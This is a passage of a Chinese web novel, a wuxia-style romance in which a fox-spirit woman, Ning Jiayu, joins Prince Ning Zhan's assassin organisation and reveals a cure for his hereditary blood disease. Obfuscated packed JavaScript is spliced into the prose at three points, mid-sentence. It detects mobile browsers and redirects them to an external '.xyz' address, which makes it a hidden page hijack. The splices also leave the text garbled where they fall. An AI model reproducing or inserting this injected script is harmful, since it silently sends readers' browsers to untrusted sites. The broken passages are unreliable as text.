回溯初入江湖，宁佳与替人办过许多繁差琐事，至今从未失手。哪知此行为着自己，反而畏首畏尾，办得如此憋屈。 转眼，春寒入夜。宁佳与望着厢房紧闭的门窗琢磨嘉宁世子，不禁又打起冷颤。 与其接受这俨如教人夺了舍的公子哥，就是曾经朝气蓬勃的凌云少年，不若速战速决，权当不曾再会。即使难近嘉宁世子的身，顺些把柄握在手里作交涉筹码也好。 半刻钟后，宁佳与箭袖玄衣，猫在藏书阁窗下，周遭静得仅剩凉风与枝叶纠缠不息的沙沙。 她取下平日鲜少佩饰的发簪，挪闩开窗，再随手戴回，翻身进屋，落定桌案。不便以明火探查，她依着自窗沿洒入的细碎月光检索册本。 翻来看去，立柜上皆是些暗阁成员名册、出入记录、器械往来云云，对宁佳与而言几无用处。她满腔抑塞之气不及叹出，身后悠来一记森然质问。 “与姑娘，你便是这般倾慕世子殿下的吗。” 宁佳与手心冒汗，好在指尖收得紧，掌中这册绝户名单才未直截坠地。 她能感受到那人鼻息就在自己身后不过一两寸位置，只得预先挤出笑脸，若无其事地回身去迎。 不巧，对方猝然上前。 发簪撞向朝她颈部抓来的手，顺着本就松散的束发滑下。青丝似玉玲珑踏春开颜，极轻地扫过对方，引得人鼻尖一阵发痒。 夜晚的宁府有如冰窟覆软土，每踩一步，土里的凌锥便要露头直钻脚心，阴冷倒罢，但尖锐恼人。 恼得虑乱，恼得神焦，恼得宁佳与急三火四，索性舍了她从小到大都未遮过几回的面纱。何况真要撞上谁，掩面夜行更是百口莫辩。 四周漆黑，来人挡了月光，宁佳与穷目若盲，之于在这房中等候多时的宁展则不然。 春山聚拢，秋波点真。 丰唇含桃，素装露重。 以及女子身后垂落的绒白。积洁自成辉，乱琼碎玉见了，也不得夸口。 这一切，他尽数看清。 宁佳与张口欲言，许是为着隐饰什么，宁展使了些力道拽起她的手腕，抢先道：“你是步溪人？” 七州古往今来，独步溪人氏乃兽身化人形的兽族，且千家万户各有巫蛊秘术世代相承。故而男子高大魁梧、力能扛鼎，女子仙姿玉色、青春永驻，不过是众多异于常人之处最微不足道的体现。 见宁佳与眼底似有诧异，宁展直白地抬抬下巴提醒她。 纯白的绒毛在一团乌黑的地界格外扎眼。 宁佳与呵呵两声，熟稔收起这不分时宜的尾巴。 至于她如何收整、又收到哪儿去，就不是宁展一介外州人可以轻易洞悉的了。 看着那块绒白消失的空地，宁展不自觉掂量，这小姑娘的外壳底下，莫不会是位年岁、阅历业已能同他外祖母以姊妹相称的老婆婆？ 那这为老不尊之典型，算是让他遇着了。 宁佳与可不打算替自己正名，只不愿再同公子哥共处于冷得要人死的冰窟窿。方将踹开适才有意掐她脖颈的宁展夺门而去，门扉遽响，强光瞬间泼面，势要融化此间。 “——展哥哥！” 大片月光肆意消除了黯淡，映在一对貌似亲密的“佳人”身上。 若请话本先生润色一番，说不准真能成就一段佳话。可惜此番匆匆来的是看客，且是位喜怒无度的看客。 “展哥哥，这衣衫不整、钗横鬓乱的女子——”看客说着就要伸手扯开宁展和宁佳与过近的距离，“是哪位啊？！” 宁展满腹质疑被看客一举打散，忙不迭阻拦。 他左手将宁佳与拽至身后，右臂虚挡在看客面前，柔声细语：“思思啊，何须赶夜路回府呢，瞧你胡乱踩水，漂亮衣裳也脏了。但时辰不早，明日再陪你上街置办新的，先回房歇息罢。” 眼看公子哥对小姑娘和颜悦色，隔着面具都藏不住笑意，若非亲眼目睹，宁佳与绝对难以想象这般的温和如今还能复现在活阎罗身上。她倒是得闲回过神负手看戏了，岂料下一刻便教人指了名。 “小与姑娘。” 宁展并未转身，宁佳与光听着他咬牙切齿的音，也知道那副好脸褪了。 “还不快回房等着？” 那小姑娘似乎还想接着质问一二，却被宁展一边推着走、一边搪塞：“是母亲吩咐我要与她相熟，你就宽心罢，不是什......” 另一边，嘉宁王宫。 日前因着细作画像辗转难眠，今夜好容易成寐的文怀王后忽觉寒气侵体，接连咳了数声。 - 宁佳与拾起在地上躺了有一会儿的发簪，再揉揉被宁展捏痛的腕子，盯着二人背影渐远，饶有趣味。 她忽然不打算速战速决了。 宁展并未言明究竟回哪间房，又如此反常地唤她，如是就此回了厢房，岂非显得她认了怂？她大步朝着那间上灯的正房去，门口果然候着先前与公子哥同道的大个。 见她走来，以宁引手向屋内。 宁佳与点头致意，心中则感慨这俩人胆子忒肥，竟敢趁嘉宁世子不在，占主屋为己用。 屋里倒没有雍容华贵、锦帐纱帘的样式，正中近墙立着长案，一块儿绣工精巧的软垫取代了案后靠椅。 笔墨纸砚皆置于桌案左侧，瞧着应是布茶具的地方却摆着高矮不齐的瓦罐。罐旁一盏瓷碗，里边盛着梅子汤。 清甜飘至鼻尖，宁佳与真有些口渴，但并不想为一碗甜汤死在这没人收尸的阎罗殿。 宁展亟亟来迟，揭下皮革面具，跨过门槛便看宁佳与恰如屋主，安坐铜镜前，慢条斯理拾掇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679210|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着散落的长发。 宁展无声倚上门框，破天荒对来路不明的妖物多了些耐心。 手指穿过发间，少顷，一堆蓬乱甚至不成形的东西坠在宁佳与脑后。数不尽的碎发悄然出逃，却没能挡住宁展那柄短刃留下的痕迹。 宁展顿觉不自在，几步上前端起梅子汤。 平日的梅子汤清爽解渴，今时则比那腻嗓的蜜枣更齁人。宁展来得仓促，口中本就干涩，再饮罢甜汤，不由四处寻水。 宁佳与从镜中瞥见他的小动作，好意递上问小厨房讨来的清茶。宁展犹疑不接，她收回手，一口饮尽。 想喝也没水了。 宁展反应过来，已被人作弄了。他绕起面具的系绳，正色道：“我说这位狐狸姑娘，你并非嘉宁人，更非宁氏。谎话连篇，又是怎好意思坚称到此追随世子？” 宁佳与淡然放下杯盏，不以为意。 她直视宁展，眼底似是写的人畜无害，捏腔捏调：“展哥哥方才还唤人家小与，现下便要苦苦相逼吗？” ...... 宁展恨不能将下肚的甜汤悉数吐出来，吐远些，免得阴魂不散。 他额前布着少许细汗，或因赶路的步子太急，或因那半碗汤黏住了整张嘴，令他难于启齿。 宁佳与见公子哥被噎得说不出话，自信愈甚。她算定妙计，扮上另一副稍显寻常的面孔。 “小女子早早没了爹娘，自小四海为家，碰见过形形色色的路人，谁待我好，我便跟谁走。而今到了嘉宁，也想肖富贵人家冠宁姓，不定哪天就飞黄腾达过上好日子了。” 她垂下脑袋，掰着手指咕哝。 “我若诓你，就教我断尾巴，再也接不回去。” 宁展猝不及防听完了这段恳切剖白，深知不该轻信此人，可心中到底不是滋味。他搁置面具，从木匣里挑出青竹阁独有的秘药，递向宁佳与。 宁佳与仍埋着头，不知是否瞧见了公子哥千载难逢的好意。 见状，宁展也不干等，直接揭开药瓶。他踌躇片刻，还是拨开了落在宁佳与颈间的碎发，指尖沾上药膏后又是一顿，终于轻手触上疮面。 后颈蓦地沁凉，宁佳与下意识抽动右手。 “可是手重了？” 此话出口，莫说她，宁展亦是错愕。 宁佳与不着痕迹地按住银骨扇，摇头而不应声。 宁展觉得自己有些不可理喻，默然蹙眉。他待思思都不曾如此仔细。 “展......公子，在下有一事想问。” 宁佳与偏头看他，三两盏昏烛灯映着二人脸颊，也映着她明眸星动。 “可否解惑？” 不愿作答的宁展像中了幻术，颇有言听计从之势：“但说无妨。” “方才那位思思姑娘，想必是于世子殿下十分紧要的人。既如此，公子又何故唤在下......小与，向她隐瞒我的来意？” “暗阁，不知其厉害者，奉其为机密。但说白了，不就是三大州暗地扶植的杀手组织。与暗阁沾上干系，不做亡命之徒，就要做刀下亡魂。世子不愿思思知晓，不是理所当然吗。” 宁佳与不认为这是宁展唤“小与”的理由，她想听的，也不是这些二人皆心知肚明的废话。 宁展嘴上答着，抹药的手不停。眼看大差不离，他先指了指镜台，后将手掌摊在宁佳与面前。 宁佳与迟疑片刻，搭上了自己的手，望向宁展。 是这个意思？ 宁展不轻不重地拂开那个意思，弯腰拉开镜子下方的夹层，拣出一卷纱带，展开往宁佳与颈上绕。 观宁展暂未表露勒死她的念头，便由纱布接着绕。宁佳与侧身照镜，打了结的纱布在颈后呈现一副异状。她再想扭过脑袋去看，却扯到隐隐发痛的伤。 宁展瞧出她的心思，解释道：“是庭院里的花贼。” 他想，思思从小就喜欢那蛾子模样的物件，什的头钗、璎珞、耳坠子，佩囊荷包、手链子，便是父王赏赐的绣裙，也非要宫人重新钩织胡蝶纹样的花饰才肯上身。 这式样，与思思年岁相仿的小姑娘，就是谈不上喜欢，也不至于厌恶。 宁佳与端详着花贼的形。趁宁展晃神的间隙，她顺走药瓶，跑上长廊，挥手作别：“借我一用，谢了！” 他又没说不借，溜得倒是快当。宁展饶是有些疑虑，但转念想，姑娘家果真是喜欢的。 那小胡蝶。 5. 哥哥 云间皎皎，巡视内院的仆役掌灯路过，见主子扶着面具凭门沉思，掉头呈来一碗冰镇的梅子汤。 宁展没说什么，接下浅啜。 不知怎的，这碗格外可口。 他屏退屋外侍候的仆役，阖门放下面具，正当坐定慢饮，来人二话不说闯入。 若非早知是以宁在外听了许久墙角，宁展手中的瓷碗这会儿已掀到不速之客脸上了。 “你近来说话做事怎的总是这般冒失？如无正经要事，我可要治你的罪了。” “属下有错，可殿下亦不该耽溺美色。”以宁一身正气，“由那江湖女骗子拿捏了去。” 天大的冤。 美......则美矣，只是素昧平生，且他连自己和宁佳与隔了几世都掐不准，论说耽溺，岂非冒犯？宁展几欲拍案，又顾及府中歇着矜贵的主儿和滑头的狐狸，轻轻落了手。 看宁展不恼，也不出言责怪，以宁仗起胆，今日是铁了心要犯上。 他双手抱拳，肃然道：“若是殿下紧着要成婚，属下即刻前去禀明王后娘娘。殿下一表人才，娘娘那处静候佳音的好人家，早已从嘉宁宫中列到墨川城外了。” “你......”宁展恼得耳红，且十分不解，“阿宁，我是否娶妻，旁人不知，你也不知？可你这是何意。” 以宁吃了瘪，闭口无话，仍是那副一心为主的模样。 “行了，我还能不明白你言下之意吗。我有打算，”宁展上前拍他的肩，以示宽慰，“不至任个相交两日的小姑娘牵着鼻子走。” 次日，东方欲晓，天朗气清。 柳丝垂，莺声转，成群的孩童们贪恋春色，却只能扯下几簇野花留作纪念，哄然散去。否则误了时辰，又要教学堂先生逮着打手板、站规矩。 宁展照常起早，不等下人伺候更衣，系上面具，直往厢房。 门吵了半晌，被人懒洋洋地扯开。 “大清早这是去了哪儿？”宁展打量着面前人，不禁蹙眉，“还是你们步溪人天生天化，打小就是灰头草面的模样？” 说着，他下意识捏起袖口，想上手擦拭尘土，又自觉唐突，从内袋里掏出巾帕递上。 宁佳与瞧着那锦缎方巾，退了一步。她提起手背磨蹭两颊，似是窘迫，笑道：“呵呵......不碍事。我一直这样，随性些。” 这姑娘瞧着年岁小，可脸蛋白净时，不难看出明媚灵秀的美人底子。宁展很快敛了视线，也将话茬移至别处。 “你不是心心念念想入阁吗，世子说了，若今日之事办得妥帖，便允了。” “有这好事？”看宁展笃定地点了头，宁佳与一拳捶歪了他的肩，“够义气啊！还以为有你二人在前，那点小功劳计不到我头上呢。” 宁展如何料得给人报好信儿还要挨一老拳，直被这冲势抡得撤步。 他觉出小姑娘没使全力，却是疼的，但无颜抬手去揉，怨道：“我邀你留宿宁府，给你好吃好喝用好药，与姑娘就这样看我？” “高兴嘛，说笑呢！那咱们往后便是同僚了，”宁佳与自顾自捡来面具戴上，声音闷在后边，“可不兴动辄掐人脖颈、割人皮肉......” 江湖中人蒙面不稀奇，暗阁中人亦然，然这两位此际所佩的面具，怕是要惹人以为——嘉宁今岁方才欢度过的上元灯节，在这阳春三月卷金重来了。 宁展望着宁佳与，困惑地指了指她略显童稚的狐狸面具。 “时间仓促，只寻得来这个。不过青竹阁还真是怪，任务出行戴着罢了。”宁佳与折回屋内束发，“在世子的私宅里也要戴着吗？那不是谁买个面具都能混进来了？” 宁展眉心拧得更紧，回顾昨夜，方才恍然。 念及宁佳与业已见过他的真容，他也不急于扮上那张嘉宁世子的脸，府中其余人却不得不防，便顺手抓了皮革面具戴上。防住了意料之外的思思，没成想把这狐狸面具招了来。 宁佳与动作麻利，装束完备，越过宁展两步，又奇道：“对了，那时常同你一处的大高个为何不用覆面？他在阁里的地位，比个子还高？” “挺高的。但——” 不等宁展解释面具，宁佳与拽上他的手肘，二人匆匆离开宁府。 “......好啊！” 尖锐的女声响彻庭院，思思使劲跺着脚，恨不得将这莲纹砖踏出几个窟窿眼。 “真是一点儿天理都没有了！我欸？我！”她边说边指向自己，朝身边的侍女怒喝：“展哥哥亲口允诺要陪我上街的！如今竟撇了我，与那女子二人世界！我竟不知，阖府上下尊本郡主为先规矩教谁改了？！” 宁思思愤然提起刺着胡蝶式样的香云纱织裙摆，手肘一前一后摆过长廊，吩咐人备轿入宫。 - 宁展领着宁佳与尾随五个行事鬼祟之人，直至嘉宁城外，宁佳与都无从得知这关乎自己能否打破僵局的任务到底是什么。 远远见五人踏进城郊那间熟悉的官驿，她目不转睛，可实在忍不住问：“展哥哥，有何指示？时不我待啊，再等就该上官道了。” 听得那颇为戏谑的称谓和口吻，宁展笑笑，望着她认真盯梢的后脑，道：“世子的意思，自是命我在荒郊野岭做掉你这江湖骗子。” 宁佳与头也不回，压根没把公子哥毫无风趣的玩笑当回事，严肃道：“眼下不是耍嘴皮的时候，先干正事。” 宁展觉着没意思，自腰间革带下取出一把小刀递去：“给，用这个。解决那五个兵部的搅屎棍。” 宁佳与瞥了眼小刀的式样，大惊失色。 她看看所谓的同僚，再看看那把之于小贩摊上的甜橙才勉强堪称锋利的刀子，面上默不作声，脑海已然闪过十数种自己被对手杀个片甲不留的血腥场面。 宁佳与情愿当这是另一个玩笑，于是伸手去抽银骨扇，却被宁展截住了动作。 “不能用。你这物什太特殊，”宁展道，“倘若让人记下来顺着摸查，暴露身份，你我都没命活。” 宁佳与闻言哑然，断定宁展是蓄意而为。 早不说，晚不说，临阵杀敌了偏要人在战场上削果子。 好笑，这个足够好笑。 宁展不知宁佳与乐什么，只等着宁佳与一把挥开他，抢了快马扬长而去，二人从此作别。来日江湖再会，便没有这哄小孩儿似的把戏可玩了。 不想上一刻还在他手中的小刀任人冷不丁夺下，随着宁佳与渊默的背影逼近官驿。 宁展别过头，道不明此时心境。 是她自己选的。 对敌方的实力及后手一无所知，又是以寡敌众，此行恐凶多吉少，她却未曾留下只言片语。宁展摩挲着手指，心道也是，若果真是无父无母、四海漂泊，又能同谁交代后事？ 身为任务失败的暗阁隐士，不被老东家追杀就是万幸了。 观远处久无动静，宁展从草垛后走出，摆手示意早早候在马厩的以宁进屋勘察。片晌，以宁按计划将裹上草席的尸首运往后山。 没有宁佳与的身影。 宁展摘了碍事的面具系于腰侧，滑至脸颊的汗珠随他快步跃起，重重砸向地面。 待他赶到堂中，即是宁佳与挥汗如雨、席地而坐，一下两下地捶打着左腿。 手腕缠的绑带稀碎，同那狐狸面具一并歪斜在地上。本就乱糟糟束在脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679211|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的长发此时越发不像样，缕缕混着黄泥和血，紧贴宁佳与两颊。 宁展拿出方巾，俯身替她捆上皮破血流的右臂。 宁佳与暗自细瞧。 身段高挑，五官分明。稍稍眯起的桃花眼最是拿人，末梢像修长的弱柳。 这么飘着，柔润。又吊着，神气。 宁展抿着唇扎紧帕子，先就手扶起宁佳与，再拾起狐狸面具，全然不觉自己的衣摆这会儿也是一圈黄土一圈泥了。 宁佳与背对宁展，低头笑了。 以宁与人交接了尸首，同掌柜打过招呼，驾车候在外头。 眼看宁展搀着那女子慢步走来，他坐不住，上前接过伤患的粗鲁程度堪称一字“抢”，随后扛起宁佳与朝马车去。 宁佳与在堂中少说给人轮番捶了五六七八拳，腰背好几处正发痛，便被人甩上肩头。她抬手咬住破烂的束袖，这才未哀嚎出声，眼眶却似堤坝决口，一泻汪洋。 宁展本想拉住宁佳与，奈何以宁如此快当。想到以宁昨夜那架势，他捏了捏耳垂，冷静下来。 马车晃动，二人总算能脸对脸说上话。 “方才那五个是兵部宣称失踪的巡卫罢？可布防图自始至终并未遗失，他们东躲西逃，未必与那群贼喊捉贼的是同伙。”宁佳与嘴上探问对方，却盯着手指不看他，“又何必要将他们赶尽杀绝？” “你猜，凭他们的功夫，合起来杀你一个都成问题，若不是同伙，事发当夜如何能逃过一死？今日又如何能在兵部眼皮子底下出城？都是卖主求荣的杂碎。”宁展答得坦诚，对上宁佳与的眼神亦不躲闪，“慈悲留之，他日定成祸端。” “杀人不眨眼。”宁佳与喃喃自语，“这是嘉宁人人称颂的世子殿下？这不是地煞吗。” 宁展纳闷得想笑，却也无法反驳，只道：“世子还说，允了你入阁之事呢。” 耳闻入阁二字，宁佳与登时来了兴致，眼里直冒光，按捺兴奋道：“当真？可你我一同待在这地方，何来空闲去请示世子殿下？” “因为杀人不眨眼的地煞就坐在你跟前。” “......好同僚，你可莫诓我。”宁佳与缓缓靠上车壁，与宁展拉开距离，“都道细作的画像与世子本人相差无几。我虽亲眼未见过世子尊容，却见过那满城的通缉令，与你这张......俊脸，可说毫不相干。” 宁展啼笑皆非，倾身问：“你再看看呢？” “......不像。”宁佳与无意中瞥到那只躺在座上的荷包，更坚定：“一点儿不像。” “那你可听过世子的名姓、封号？” “展凌君，宁——” 宁佳与倏地卡壳，心中骂自己真是教宁府那冰窖冻蠢了。 闻说青竹不似迎柳和听雪单用名姓，阁中隐士还另有诸如猫狗、花草云云非人的别号。 然名姓是假、别号是虚，她便理所当然以为思思姑娘提及的“展”不足参酌。哪想这回偏教她遇着青竹阁唯一一个不消假名虚号的，更不意自己印象中的好儿郎竟与当今活阎罗是同一人。 “宁展？你是宁展？” 宁展笑出来，颔首道：“不唤展哥哥了？” ...... 马车进了城，帘内只剩死寂。如不是偶尔传出两声咳喘，以宁几欲以为那女子的小命被宁展就地了结了。 未至宁府门前，宁佳与便扒着帘子要跳车。车轮将将停了，她收着力跃下，旁若无人，一瘸一拐地挪回厢房。 宁展进屋扮上世子的脸皮，交代家丁带着医官移步厢房看诊。他才踏出主屋没几步，宫娥带到口信，命世子速速回宫。 文怀王后有请。 6. 心仪 宁展挥退两旁看茶送水的侍女，随着引路宫娥快步入殿，进门却是欢声笑语、母慈女孝的光景，悬了一路的心这才放下。 他拱手施礼，道：“儿子给母亲问安”。 墨司琴这边牵着远游归来的女儿，那边瞧着数日未见的儿子，手心手背的肉都在这儿了，乐不可言，抬手免了宁展的礼。 “母亲说，不曾给哥哥做媒，更不曾要哪户人家的姑娘与哥哥亲近，那便是你有意欺瞒、替人遮掩！”宁思思扬脸道，“好一个未定亲就胳膊肘往外拐的兄长。” 看她立在母亲身边轩轩堪得的架势，宁展当即了然，昨夜糊弄宁思思的话术业已一字不差过了母亲的耳。 “为兄只你一个妹妹，不向着你，却向着谁？想是日来繁忙，”宁展这面哄劝，那面不着痕迹地与母亲使了眼色，“嘴快讲岔了。” 墨司琴神领，抚拍宁思思的手背，示意她暂且退下。 嘉宁小郡主的脾性，家喻户晓。 执拗，且难缠。换言之，不达目的不罢休。 宁思思今日入宫，不仅是要请母亲做主跟兄长讨说法，还打算将宁府那位尊卑莫识、不知会给他们一家人添多少麻烦的野路子直截赶出嘉宁城。然眼下尚未探出野路子的名姓，她却情愿听从母亲，提裙告退。 她生在俱是暗箭、不见明枪的嘉宁王室，同室操戈望不到头，但从未将她这个对权术知之甚少的郡主卷入其中。 掌上之珠，荣华不尽。个别须她费心的事，不过鲜衣玉食、游山玩水而已。 是以人人赞许高门贵女秀外慧中，独爱夸她有福。她幼时对谁都笑，后来听懂了，这就是说她傻。 可宁思思不傻。她明白什么能庇护自己高枕无忧至今，也明白什么时候该回避。 墨司琴眼底的温情追着女儿走，直至宁思思随宫娥消失在窗外，方才收了视线。她握着腿上的手炉，关切道：“我听闻，你有意将一位身分不明的江湖女子招入青竹阁？” “是，母亲。儿子探过她的身手，功夫不俗。众隐士入阁前也大多是举目无亲的小人物，只消确保其心不二，可为暗阁所用。” 墨司琴若有所思，道：“但阿宁与我所言，却是这女子今日被五个拳脚平平之人伤得不轻，才勉强将五人放倒。最终还是阿宁出刀了结。” 宁展一听便知以宁打的什么主意，如实道：“儿子特意取了不甚趁手的器械与她，但关键还在于她存心藏着。初次交手，此人便可以同儿子打得有来有回。倘若锋芒毕露，该是怎样一把宝刀？” 对外，宁展是个斯斯文文的书袋子，因此要将以宁这般人尽皆知的利剑随时带在身边作掩饰。每逢遇刺，宁展轻易不会出手。 而文怀王后的寝宫，便是宁展十年来韬光养晦的地方。儿子有几分能耐，无人比她这做母亲的更清楚。 她虽不是练家子，但借好友的光，请托前朝太师兼百年将门出身的镇国大将军，为年仅七岁的宁展指点。 韩将军待事严苛，不似满口谄媚的嘉宁言官，对宁展自学的架子和招式浑不买账，一顿棍棒纠错。 临了却拍着宁展的肩，说：好小子。往后出息了，来接韩家军的旗。 外姓人，接本家百年基业。无疑是莫大的认可。 如今宁展的武艺和眼界非昔能比，他所承认的功夫不俗之人，依墨司琴看，十分了得。 见母亲不语，宁展补充道：“此人可畏，青竹阁不收，也断不能任她去别处。” 墨司琴笑道：“你对那女子做了这许多盘算，还同你妹妹说是嘴快讲岔了人？” 宁展一愣，磕巴道：“儿子......儿子只是......” “如此不矜细行，可不像你的作风啊。” 墨司琴瞧他耳廓飞红，仿若重见年幼下了学便飞奔回宫，喜跃抃舞向娘亲描绘夫子又在堂上讲了哪些奇闻逸事的小儿郎，倍觉乖巧可亲。 她不忍再发难，道：“你不日微服南下，此番进宫，可有与你父王拜别？” 嘉宁礼法严明，王亲贵戚入宫，不论所为何事，理当首先向君王见安。 宁展垂眸半晌，平和道：“父王正与几位老大人在议事厅商讨要务，儿子在殿外等候许久，犹未得召，便到母亲这儿来了。” “咳、咳咳......”墨司琴掩帕闷咳，话锋一转：“不过，展儿，倘来日果真有了心仪之人，你也该尽心把握良缘。旁的闲人杂事，自有母亲摆平。” 宁展闻言语塞，颔首应下。他恳请母亲保重身体，步行出宫，上了马车回府。 日前官驿内，他分明试了宁佳与七八分的底，如宁佳与拿出那日的水准应敌，岂会由区区巡卫中伤至此？这点于他既已不是秘密，宁佳与又何故隐饰？ 宁展忖量着今日种种入了神，不觉鲜血自两臂袖口滴下。 进了宁府大门，他衣摆一圈泥土皆染了新红，从马车到寝屋，踏出条血路。 好在夜色深矣，阴云密布。来往碌碌，若不停步，少有人留意惨案一般的庭院。 此种情形，马虎倒能保命。 长年累月，宁府家丁换了一批又一批。 许多人气运不佳，无意撞破主子不可言传的大事，但沉得住气。要么当作没瞧见，老实干自己的活计；要么在主子着手处置之前，伶俐收拾干净，管牢嘴巴就是。 至于沉不住气的，即如此际丁零当啷摔了一地物什的侍茶丫鬟和厨子老嬷，前者捂眼惊叫，后者跌坐池边。 宁佳与听得屋外接连的响动，还以为哪位同道中人被嘉宁的条条框框压坏了脑子，胆敢硬闯宁府行刺。 以她午后闲逛窥察加之夜探藏书阁所得，大致能够确认整座私宅就是一处青竹阁暗桩的猜想。府中打照面的人或是寻常家丁，或是青竹隐士。 那么在此行刺且全身而退的胜算顶多两成。 他人之手，未必值得联。然他人之势，不借白不借！ 制伏一个必然失败的刺客以表忠心，简直百利无害。念及此，宁佳与翻出匣子，指头湿了水，挖几抹土就糊上脸颊，随后面色严峻地沿着血路往主屋赶，预备上演美救英雄的痛快戏码。 她猛推房门，不出所料被刺客从里头上了闩。 庭院血迹斑斑，耽搁不起了。 若是宁展真死于那人之手，人家恐怕不会愿意将这功绩白赠与她作筹码。 宁佳与起脚踹开房门，迎面果然横来一把利刃，举目却是那位沉默寡言、行事粗厉，在青竹阁颇有地位的大高个。 以宁也定睛瞧，这不是那拳脚稀碎、满口胡言，杀几个慌脚鸡还得他善后的女骗子吗？ 许是看出以宁难以掩饰的杀意，宁佳与好没骨气地举手作降。 以宁握紧剑柄，颇有一剑封喉的意思，不防宁佳与猝然后仰远了刃，迅速从他剑下钻过。 她看见占了满桌的药瓶、纱布、光着血膀子的宁展、形状各异急待处理的伤口，以及那张传言中龙眉凤目，却是初次与她相见的嘉宁世子的脸。 宁佳与心下一凉，仓皇跑出屋子，带上了门。 以宁搁置佩剑，接着给殿下撒药，鄙夷道：“殿下，我没看错人。这女子根本不堪大用。” 话音未落多时，房门再度被人撞开。 宁佳与手中多了个小瓷瓶，面上慌乱已去。她直奔宁展，拨开封盖，捏住瓶子，却忽然停了动作。 思虑片刻，宁佳与将药瓶递给以宁，示意他替宁展上药。 不等二人发问，她解释道：“这是根治此病的药，两三日一用，用上小半载，再无大碍。我在......步溪，遇上位江湖医士给贵人看诊，便死乞白赖讨了一瓶来。” 眼见一边以宁仍是疑心重重不肯用药，一边宁展上身伤处跟泉眼似的汩汩往外冒血，宁佳与有些急了：“赶紧的呀！我以性命起誓，对殿下绝无害处还不成吗？” 本该虚弱无力宁展听了这番毒誓不禁嗤笑出声。他看着宁佳与，却对以宁说：“用罢。如有差池，她今生便要与我死在一处了。” “这药可是有价无市的稀罕物。”宁佳与翻了眼珠，“别不识好人心了。” 宁展难免狐疑：“既是你游历江湖、得来不易的奇药，何故平白便宜了我？” 宁佳与答得爽快：“承蒙殿下厚爱。属下既已入阁，便是殿下的人了。此番为主献药，何谈无故？” 宁展在朝多年，诸如此类的逢迎没少听，即是侧耳就能将对方伪心与否、虚言与否听个大差不离，故对宁佳与的话一笑置之。 以宁得了令，不敢迟误。往日宁展未能及时用药以致病发，也常是他帮着料理，不可谓不熟稔。 这病，是宁展自娘胎里就带着的，宁思思与墨司琴亦复如是。 宁佳与虽不了解宁展家中长辈的病况，但见过不少人患此名为怪血病的遗传之症。 病症单一简明：身上破皮见血的伤口只能结痂，无法痊愈；发病时，轻则疮口溃烂，重则血流不止，直至失血而亡。 坊间不乏缓解病症的药物从景安杏林世家流向各地，宁展此前的药方便是由此得来。 然若要彻底治愈怪血病，只得服用那江湖游医炼就的奇药。此药确如宁佳与所言十分珍稀，盖因江湖游医行踪无定。 以宁并非没去寻过奇药，可江湖医者于琛惠末年的两州大战期间途经墨川，慷慨为王室制药后离开，至今再无音讯。 主从二人观药效立显，都骇异不已，心中更疑忌宁佳与的来头。 宁佳与以狐狸闻不得一屋子血腥，及担心染红自己皓白如雪的尾巴为由，起身告辞。宁展尚未言语，她一溜烟儿没了影。 宁展低头看着以宁为他包扎伤处，平和问道：“她今日动向如何？” “午前在府里四处闲逛，午膳后去了闹市，在冰酪铺子停留时间最长，买得冰酪，分给路边乞儿。属下截了一封她的飞鸽信，内容大致是问师父安、称自己一切顺利，文末特注不必回信。此外，”以宁道，“便没什么了。” “既如此，信不必替她发了。”宁展披上外袍，道：“我另交代的面膏和衣裳你可有一并买回？” 离了自己得心应手的差事，以宁心下没底，半晌才憋出一句：“郡主从来只要飞仙坊的衣裳，这好办。可属下哪知郡主殿下平日擦的什么膏......什么粉......问了郡主，便听了一顿骂，说属下分不清谁才是宁府的姑娘。那面膏自是丁点儿方向未授意于我......” 宁展撑着桌子直叹气。他怎么想的呢？竟为难一块木头去置办姑娘家的精细物什。这是事儿没给一人办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就在秋老伯那家冰酪铺子边上呀。哥哥看着买罢，”宁思思取下被胡乱簪上的发饰，一把将宁展送出屋外，“我还紧着洗漱梳妆呢。” 朝晖弄晴，春意空阔。 现下好就好在，时辰尚早。 宁展乘着马车行至冰酪铺前，道上仅是些拾掇摊位门店的小贩。如此，无须大排长龙，也无须同“巧遇”的大人或大人家的千金、公子笑脸相与。 不好就在，时辰过早。 宁展把胭脂行掌柜一个劲儿吹嘘的面膏、面脂近乎买了个遍，那冰酪才将将备好物材，正待加工。他折回马车内候着，盯着眼花缭乱的胭脂盒久了，气上心头。 他这是中的哪门子邪？一早抛开朝中庶务不管，蒙头往令人窒息的水粉商行里扎，挑拣这些莫名其妙的物什，还要为着还人情在此苦等。 宁展深深吸气，尽力平复，门帘外冷不丁传来老人家的低语：“公子久等。您要的含桃、梅子、甘蕉、牛乳冰酪，看看可有不对？” 以宁挑起帘子，宁展双手接过食盒，颔首笑道：“没有。多谢秋伯。” 门帘放下，马车稳进。宁展挪开盒盖往里瞥，四种滋味各盛于木碗，沁人的果香混着清甜飘来。 只嗅着，即若美味入了口。老招牌名副其实，无怪街上那群小人精都要夺去偷食。 